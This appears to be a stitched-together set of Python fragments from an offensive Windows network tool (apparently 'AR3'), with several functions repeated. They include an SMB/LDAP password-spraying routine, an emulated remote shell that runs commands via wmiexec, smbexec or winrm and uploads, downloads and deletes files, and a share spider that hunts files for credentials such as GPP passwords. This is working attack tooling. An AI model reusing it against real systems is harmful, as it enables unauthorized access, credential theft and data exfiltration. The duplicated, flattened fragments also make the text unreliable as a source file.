def __init__(self, args, db_obj, loggers): Connector.__init__(self, args, loggers, args.target) self.output = [] self.pwd_list = ['C:', 'Windows', 'System32'] self.pwd = '\\'.join(self.pwd_list) self.exec_method = args.exec_method self.sharename = args.fileless_sharename self.db = db_obj try: # Setup Smb Connection self.logger.status('Initiating remote connection') self.smbcon = SmbCon(self.args, loggers, self.host, self.db) self.smbcon.create_smb_con() # Execute command to verify permissions self.cmd_execution('ECHO %USERDOMAIN%\%USERNAME%') self.logger.success( 'Starting emulated shell (Host: {}) (User: {}) (Method: {}) (Fileless: {})' .format(self.host, self.output[0].strip(), self.exec_method, str(args.fileless))) self.logger.warning( "This is a limited shell and requires full paths for file interactions\n" ) except Exception as e: self.logger.fail("Error Starting Shell:".format(str(e))) exit(1)
def login(args, loggers, host, db, lockout_obj): try: con = SmbCon(args, loggers, host, db) con.create_smb_con() return con except Exception as e: lockout_obj.failed_login(host, str(e)) return False
class SearchThread(threading.Thread): ''' Recursively scan directories, adding files to queue to be parsed for data''' def __init__(self, args, config, loggers, db, target, share): threading.Thread.__init__(self) self.file_queue = [] self.timeout = args.timeout self.target = target self.share = share self.max_depth = args.max_depth self.start_path = args.start_path self.whitelist_ext = config.WHITELIST_EXT self.blacklist_dir = config.BLACKLIST_DIR self.smbcon = SmbCon(args, loggers, target, db) self.smbcon.create_smb_con() def run(self): self.recursion(self.start_path) self.smbcon.close() del self.smbcon def recursion(self, path): try: for x in self.smbcon.list_path(self.share, path + "*"): #encoding depending on SMBv1 con or not try: filename = x.get_longname().decode('UTF-8') except: filename = x.get_longname() if filename not in ['.', '..']: # If DIR, use recursion to keep searching until max depth hit if x.is_directory() and path.count("/") <= self.max_depth: full_path = path + filename + "/" # Verify not on blacklist if full_path not in self.blacklist_dir: self.recursion(full_path) # Check for valid file ext before adding to queue elif filename.split('.')[-1].lower() in self.whitelist_ext: #else add to file queue to be scanned tmp = { 'ip': self.smbcon.ip, 'host': self.smbcon.host, 'share': self.share, 'path': path, 'filename': filename } self.file_queue.append(tmp) del tmp except: pass
def __init__(self, args, config, loggers, db, target, share): threading.Thread.__init__(self) self.file_queue = [] self.timeout = args.timeout self.target = target self.share = share self.max_depth = args.max_depth self.start_path = args.start_path self.whitelist_ext = config.WHITELIST_EXT self.blacklist_dir = config.BLACKLIST_DIR self.smbcon = SmbCon(args, loggers, target, db) self.smbcon.create_smb_con()
def smb_login(args, loggers, host, db, lockout_obj, config_obj): status = '' smb = SmbCon(args, loggers, host, db) if smb.smb_connection(): smb.host_info() try: smb.login() if smb.admin: status = "({})".format( highlight(config_obj.PWN3D_MSG, 'yellow')) elif smb.auth and args.user: status = "({})".format(highlight('Success', 'green')) except Exception as e: e = str(e).lower() lockout_obj.failed_login(host, str(e).lower()) if "password_expired" in e: status = "({})".format(highlight('Password_Expired', 'yellow')) elif "logon_failure" in e: lockout_obj.add_attempt() status = "({})".format(highlight('Failed', 'red')) elif "account_disabled" in e: status = "({})".format(highlight('Account_Disabled', 'red')) loggers['console'].info([ smb.host, smb.ip, "ENUM", "{} {} ".format(smb.os, smb.os_arch), "(Domain: {})".format(smb.srvdomain), "(Signing: {})".format(str(smb.signing)), "(SMBv1: {})".format(str(smb.smbv1)), status ]) return smb else: raise Exception('Connection to Server Failed')
def __init__(self, args, config, loggers, db, target, share): threading.Thread.__init__(self) self.file_queue = [] self.timeout = args.timeout self.target = target self.share = share self.max_depth = args.max_depth self.start_path = args.start_path self.whitelist_ext = config.WHITELIST_EXT self.blacklist_dir = config.BLACKLIST_DIR self.loggers = loggers self.smbcon = SmbCon(args, loggers, target, db) self.smbcon.create_smb_con() # Show kickoff messages on startup, if not args.spider startup is called from a module if args.spider: loggers['console'].info([self.smbcon.host, self.smbcon.ip, "SPIDER", "Scanning \\\\{}\\{}{}".format(target, share, args.start_path.replace("/", "\\"))]) loggers['spider'].info("Spider\t\\\\{}\\{}{}".format(target, share, args.start_path.replace("/", "\\")))
def spray(auth_args, loggers, db_obj, config_obj, target, user, passwd): if auth_args.user_as_pass: passwd = user elif auth_args.hash: passwd = '' try: if auth_args.method.lower() == "ldap": con = LdapCon(auth_args, loggers, target, db_obj) con.create_ldap_con() elif auth_args.method.lower() == 'smb': con = SmbCon(auth_args, loggers, target, db_obj) con.create_smb_con() if auth_args.hash: passwd = auth_args.hash if hasattr(con, 'admin')and con.admin == True: loggers['console'].success([con.host, con.ip, auth_args.method.upper(), '{}\\{:<20} {:<15} {}'.format(con.domain, user, passwd, highlight(config_obj.PWN3D_MSG, 'yellow'))]) else: loggers['console'].success([con.host, con.ip, auth_args.method.upper(),'{}\\{:<20} {:<15} {}'.format(con.domain, user, passwd, highlight("SUCCESS", "green"))]) loggers[auth_args.mode].info("Spray\t{}\t{}\\{}\t{}\tSuccess".format(target, auth_args.domain, user, passwd)) con.close() except KeyboardInterrupt: print("\n[!] Key Event Detected, Closing...") try: con.close() except: pass _exit(0) except Exception as e: # Overwrite pwd value for output if auth_args.hash: passwd = auth_args.hash if "password has expired" in str(e).lower(): loggers['console'].success2([target, target, auth_args.method.upper(), '{}\\{:<20} {:<15} {}'.format(auth_args.domain, user, passwd, highlight("PASSWORD EXPIRED", color='yellow'))]) loggers[auth_args.mode].info("Spray\t{}\t{}\\{}\t{}\tPassword Expired".format(target, auth_args.domain, user, passwd)) elif "account_locked_out" in str(e).lower(): loggers['console'].warning([target, target, auth_args.method.upper(), '{}\\{:<20} {:<15} {}'.format(auth_args.domain, user, passwd, highlight("ACCOUNT LOCKED", color='red'))]) loggers[auth_args.mode].info("Spray\t{}\t{}\\{}\t{}\tAccount Locked".format(target, auth_args.domain, user, passwd)) exit(1) elif str(e) == "Connection to Server Failed": loggers['console'].verbose([target, target, auth_args.method.upper(), '{}\\{:<20} {:<15} {}'.format(auth_args.domain, user, passwd, highlight("CONNECTION ERROR", color='red'))]) loggers[auth_args.mode].info("Spray\t{}\t{}\\{}\t{}\tConnection Error".format(target, auth_args.domain, user, passwd)) elif "status_logon_failure" in str(e).lower() or "invalidCredentials" in str(e).lower(): loggers['console'].verbose([target, target, auth_args.method.upper(), '{}\\{:<20} {:<15} {}'.format(auth_args.domain, user, passwd, highlight("FAILED", color='red'))]) loggers[auth_args.mode].info("Spray\t{}\t{}\\{}\t{}\tLogin Failed".format(target, auth_args.domain, user, passwd)) else: loggers['console'].debug([target, target, auth_args.method.upper(), '{}\\{:<20} {:<15} {}'.format(auth_args.domain, user, passwd, highlight(str(e), color='red'))]) loggers[auth_args.mode].info("Spray\t{}\t{}\\{}\t{}\t{}".format(target, auth_args.domain, user, passwd, str(e))) sleep(auth_args.jitter) del auth_args
class AR3Shell(Connector): def __init__(self, args, db_obj, loggers): Connector.__init__(self, args, loggers, args.target) self.output = [] self.pwd_list = ['C:', 'Windows', 'System32'] self.pwd = '\\'.join(self.pwd_list) self.exec_method = args.exec_method self.sharename = args.fileless_sharename self.db = db_obj try: # Setup Smb Connection self.logger.status('Initiating remote connection') self.smbcon = SmbCon(self.args, loggers, self.host, self.db) self.smbcon.create_smb_con() # Execute command to verify permissions self.cmd_execution('ECHO %USERDOMAIN%\%USERNAME%') self.logger.success( 'Starting emulated shell (Host: {}) (User: {}) (Method: {}) (Fileless: {})' .format(self.host, self.output[0].strip(), self.exec_method, str(args.fileless))) self.logger.warning( "This is a limited shell and requires full paths for file interactions\n" ) except Exception as e: self.logger.fail("Error Starting Shell:".format(str(e))) exit(1) def help(self): print(""" help - show this menu exit - Close shell Navigation: pwd - Show PWD dir - List PWD cd - Change directory File Interactions: type [remote_file] - Show file contents (Full Path Required) download [remote_file] [location] - Download remote file (Full Path Required) upload [local_file] [location] - Upload local file (Full Path Required) delete [remote_file] - Delete remote file (Full Path Required) Commands: [cmd] - Execute remote cmd """) def cd(self, cmd): if cmd.startswith('cd'): try: cd_path = cmd.split(' ')[1] cd_split = cd_path.replace("\\", "/").split("/") # Input formatting cd_split = [x for x in cd_split if x] # Remove blanks if cd_path == "/" or cd_path == "\\": self.pwd_list = ['C:'] # Dir up elif cd_split[0] == "..": self.pwd_list.pop(-1) cd_split.pop(cd_split.index("..")) # new dir elif cd_path.startswith(("/", "\\")): self.pwd_list = ['C:'] self.pwd_list = self.pwd_list + cd_split except: self.logger.FAIL('Unable to change directories') def dir(self, cmd): if cmd == "dir": return self.cmd_execution("dir {}".format(self.pwd)) else: return self.cmd_execution(cmd) def download(self, cmd): try: val = cmd.split(" ") self.smbcon.downloadFile(val[1], val[2]) self.logger.success("Download Complete: {}".format(val[2])) except Exception as e: if str(e) == "list index out of range": self.logger.fail( 'Not enough values to unpack, see -h for more') else: self.logger.fail("Download Failed: {}".format(str(e))) def upload(self, cmd): try: val = cmd.split(" ") self.smbcon.uploadFile(val[1], val[2]) self.logger.success("Upload Complete: {}".format(val[2])) except Exception as e: if str(e) == "list index out of range": self.logger.fail( 'Not enough values to unpack, see -h for more') else: self.logger.fail("Upload Failed: {}".format(str(e))) def delete(self, cmd): try: val = cmd.split(" ") self.smbcon.deleteFile(val[1]) self.logger.success("Download Complete: {}".format(val[1])) except Exception as e: if str(e) == "list index out of range": self.logger.fail( 'Not enough values to unpack, see -h for more') else: self.logger.fail("Deletion Failed: {}".format(str(e))) def cmd_execution(self, cmd): self.filer.info("Command Execution\t{}\t{}\\{}\t{}".format( self.host, self.smbcon.ip, self.username, cmd)) if self.exec_method.lower() == 'wmiexec': self.executioner = WMIEXEC(self.logger, self.host, self.args, self.smbcon, share_name=self.sharename) elif self.exec_method.lower() == 'smbexec': self.executioner = SMBEXEC(self.logger, self.host, self.args, self.smbcon, share_name=self.sharename) elif self.exec_method.lower() == 'winrm': self.executioner = WINRM(self.logger, self.host, self.args, self.smbcon) self.output = self.executioner.execute(cmd).splitlines() def cmdloop(self): while True: try: # init prompt self.output = [] self.pwd = '\\'.join(self.pwd_list) cmd = input("{}> ".format(self.pwd)) cmd = cmd.lstrip().rstrip() self.logger.debug("User cmd ::: \'{}\'".format(cmd)) # Handle CMD input if cmd == "help": self.help() elif cmd == 'exit': try: self.smbcon.close() except: pass return True elif cmd.startswith('cd'): self.cd(cmd) elif cmd.startswith('dir'): self.dir(cmd) elif cmd.startswith('download'): self.download(cmd) elif cmd.startswith('upload'): self.upload(cmd) elif cmd.startswith('delete'): self.delete(cmd) elif cmd == 'pwd': self.logger.output(self.pwd) else: self.cmd_execution(cmd) # Show cmd Output for result in self.output: self.logger.output(result) except KeyboardInterrupt: try: self.smbcon.close() except: pass return True except Exception as e: self.logger.debug(str(e))
def parse(self, server, share, path, filename): while self._running: # File Extension ext = file_extension(filename) if ext in self.ext: self.reporter('Extension', ext, '', '') return # Key Word in filename keyword = self.keyword_search(filename) if keyword in self.keywords: self.reporter('Keyword', keyword, '', '') return # Parse File Contents if not self.filename_only: ## Parse Excel (Uses pysmb, not hash auth) if ext == 'xlsx' and not self.hash: # Create SMB connection using pysmb con = smb_connect(server, self.user, self.passwd, self.domain, self.timeout) result = parse_xlsx(self.xlsx_keywords, self.regex, self.max_size, self.max_chars, self.timeout, con, share, path, filename) if result: self.reporter(result['Parser'], result['ParserDetails'], result['LineCount'], result['LineSample']) con.close() return con.close() ## Parse Word Docs (Uses pysmb, not hash auth) elif ext == 'docx' and not self.hash: # Create SMB connection using pysmb con = smb_connect(server, self.user, self.passwd, self.domain, self.timeout) result = parse_docx(self.regex, self.max_chars, self.max_size, self.timeout, con, share, path, filename) if result: self.reporter(result['Parser'], result['ParserDetails'], result['LineCount'], result['LineSample']) con.close() return con.close() ## Parse All other file types else: # Create SMB connection using Impacket smb_obj = SmbCon(self.args, self.loggers, server, self.db) smb_obj.create_smb_con() try: reader = RemoteFile(smb_obj.con, path + filename, share, access=FILE_READ_DATA) reader.open() contents = reader.read(self.max_size) except: self.logger.debug( "Failed to open file: {}".format(path + filename)) return # Pass Contents to parser result = parse_data(contents, self.regex, self.max_chars, filename) if result: self.reporter(result['Parser'], result['ParserDetails'], result['LineCount'], result['LineSample']) # Close open reader object reader.close() del (reader) smb_obj.close() return
class SearchThread(threading.Thread): ''' Recursively scan directories, adding files to queue to be parsed for data''' def __init__(self, args, config, loggers, db, target, share): threading.Thread.__init__(self) self.file_queue = [] self.timeout = args.timeout self.target = target self.share = share self.max_depth = args.max_depth self.start_path = args.start_path self.whitelist_ext = config.WHITELIST_EXT self.blacklist_dir = config.BLACKLIST_DIR self.loggers = loggers self.smbcon = SmbCon(args, loggers, target, db) self.smbcon.create_smb_con() # Show kickoff messages on startup, if not args.spider startup is called from a module if args.spider: loggers['console'].info([self.smbcon.host, self.smbcon.ip, "SPIDER", "Scanning \\\\{}\\{}{}".format(target, share, args.start_path.replace("/", "\\"))]) loggers['spider'].info("Spider\t\\\\{}\\{}{}".format(target, share, args.start_path.replace("/", "\\"))) def run(self): self.recursion(self.start_path) self.smbcon.close() del self.smbcon def recursion(self, path): try: for x in self.smbcon.list_path(self.share, path+"*"): #encoding depending on SMBv1 con or not try: filename = x.get_longname().decode('UTF-8') except: filename = x.get_longname() # Quick fix for gpp passwords on 2019 DC's @TODO create perm fix if filename.lower() == "groups": filename = "Groups.xml" if filename not in ['.','..']: # If DIR, use recursion to keep searching until max depth hit if x.is_directory() and path.count("/") <= self.max_depth: full_path = path + filename + "/" # Verify not on blacklist if full_path not in self.blacklist_dir: self.loggers['console'].debug("Spider-DIR: {}".format(full_path)) self.recursion(full_path) # Check for valid file ext before adding to queue elif filename.split('.')[-1].lower() in self.whitelist_ext: #else add to file queue to be scanned tmp = { 'ip' : self.smbcon.ip, 'host' : self.smbcon.host, 'share' : self.share, 'path' : path, 'filename' : filename } self.loggers['console'].debug("Spider-File: {}".format(tmp['filename'])) self.file_queue.append(tmp) del tmp except: pass